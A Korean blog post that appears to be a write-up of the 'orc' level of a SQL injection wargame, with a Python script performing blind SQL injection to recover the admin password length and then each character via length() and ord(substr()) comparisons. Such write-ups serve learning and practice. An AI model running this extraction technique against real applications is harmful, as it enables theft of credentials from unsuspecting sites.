패스워드를 맞추면 되는 문제
필터는 prob _ . ( ) + 대소문자 구분 X(i옵션)
PW를 맞춰야 하므로 blind sqli
길이를 먼저 맞춰야 한다.
이 부분은 파이썬으로 짜는게 빠르다.
import requests
COOKIE = {'PHPSESSID': ''}
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
for i in range(1,20):
query = f"pw=1' or id='admin' and length(pw)={i} %23"
if 'Hello admin' in requests.get(url+query, cookies=COOKIE).text:
print("password length : ",i)
break
비밀번호 길이는 8
substr를 이용해 한 글자씩 맞는 패스워드를 찾자
#los - orc
import requests
COOKIE = {'PHPSESSID': ''}
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
for i in range(1,20):
query = f"pw=1' or id='admin' and length(pw)={i} %23"
if 'Hello admin' in requests.get(url+query, cookies=COOKIE).text:
print("password length : ",i)
break
print("password : ", end='')
for i in range(1,9):
for ch in range(0x30,0x7f):
query = f"pw=1' or id='admin' and ord(substr(pw,{i},1))={ch} %23"
if 'Hello admin' in requests.get(url+query, cookies=COOKIE).text:
#print(query)
print(chr(ch), end='')
break
처음에 substr ='{chr(ch)}' 이런식으로 비교했다가, D가 먼저 나와버려서 틀렸는데..
ord로 바꿔주면 substr(pw,4,1)부분에서 100이 나오는데(= 'd') 이게 정답.
'WebHacking' 카테고리의 다른 글
[LOS] darkelf (0) | 2022.08.06 |
---|---|
[LOS] wolfman (0) | 2022.08.04 |
[LOS] goblin (0) | 2022.08.04 |
[LOS] Cobolt (0) | 2020.03.14 |
[LOS] gremlin (0) | 2020.01.09 |